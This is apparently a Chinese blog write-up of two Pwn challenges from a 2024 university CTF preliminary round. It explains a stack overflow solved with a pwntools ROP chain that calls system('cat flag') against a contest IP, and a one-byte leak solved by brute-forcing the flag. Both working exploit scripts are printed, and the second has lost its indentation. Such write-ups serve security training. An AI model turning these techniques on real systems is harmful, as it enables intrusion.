2024年京津冀大学生信息安全网络攻防大赛-初赛Pwn

2024年这场打了,Pwn一共三道题,堆题还是没给libc,最后是0解。

likeputs

vuln函数有栈溢出,而且程序有system,但是没有/bin/sh字符串。我们发现有cat flag字符串,如果system的参数是cat flag即system(‘cat flag’),那么就会将flag打印出来。因此只需要构造一个简单的rop,使得system的参数为cat flag,就能打印flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process('./pwn')
elf = ELF('./pwn')
p = remote('119.23.41.54', 39091)

system_plt = elf.plt['system']
pop_rdi_ret = 0x400753
flag_addr = 0x400797
ret_addr = 0x400506

payload = b'a'*0x28 + p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(ret_addr) + p64(system_plt)
p.sendline(payload)

p.interactive()

leak

程序中首先是两个输入,一个是 name,一个是 flag,然后会使用一个 for 循环来将输入 name 的存储到 name 数组的前 40 个位置,即 name[0] 到 name[39],而 name[40] 则是 ./flag 文件的内容,循环中使用 if 来比较 name[40] 开始是否等于输入的 flag 的内容。

他其实是从./flag 文件中读取一个字符到 name[40] 中,然后再和输入的 flag 比对,比对正确再次读取./flag 文件中的一个字符,比对错误之后跳出循环;那么当比对错误时,name[40] 时中是正确的 flag 的一个字符,通过之后的 pirntf 打印 name 的内容,这一个字符也会打印出来,因此可以通过溢出的这一个字符来循环爆破

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os='linux', arch='i386', log_level='debug')

flag = b'flag{'
for i in range(50):
print(flag)
p = process('./pwn')
payload = b'a'*40
p.recvuntil("What's your name?")
p.sendline(payload)
p.recvuntil("Please give me your flag:")
p.sendline(flag)
p.recvuntil(b"Sorry "+payload)
two = p.recv(1)
flag += two
p.close()

p.interactive()

2024年京津冀大学生信息安全网络攻防大赛-初赛Pwn
https://tsuk1ctf.github.io/post/41677.html
作者
Tsuk1
发布于
2024年12月25日
许可协议